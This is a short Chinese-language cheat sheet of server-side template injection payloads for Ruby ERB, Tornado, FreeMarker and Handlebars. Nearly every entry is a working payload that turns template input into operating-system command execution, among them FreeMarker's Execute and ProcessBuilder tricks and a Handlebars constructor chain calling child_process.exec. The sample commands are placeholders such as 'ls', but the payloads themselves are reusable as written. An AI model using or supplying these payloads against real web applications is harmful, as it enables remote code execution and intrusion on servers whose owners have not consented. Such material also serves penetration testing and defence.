SSTI模板注入

Ruby ERB模板注入
执行命令

exec 'echo "hello" '
system 'echo "hello" '

payload

<%=system 'echo "hello" '%>

tornado模板注入

Python代码执行

{%导入python 模块%}
{{python代码}}

比如：

{%import%20os%}{{os.system('ls')}}

FreeMarker模板注入

执行命令

<#assign value="freemarker.template.utility.Execute"?new()>${value("ls")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","ls").start()}
这个无回显

Handlebars 模板注入
命令执行
无回显

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('cmd');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}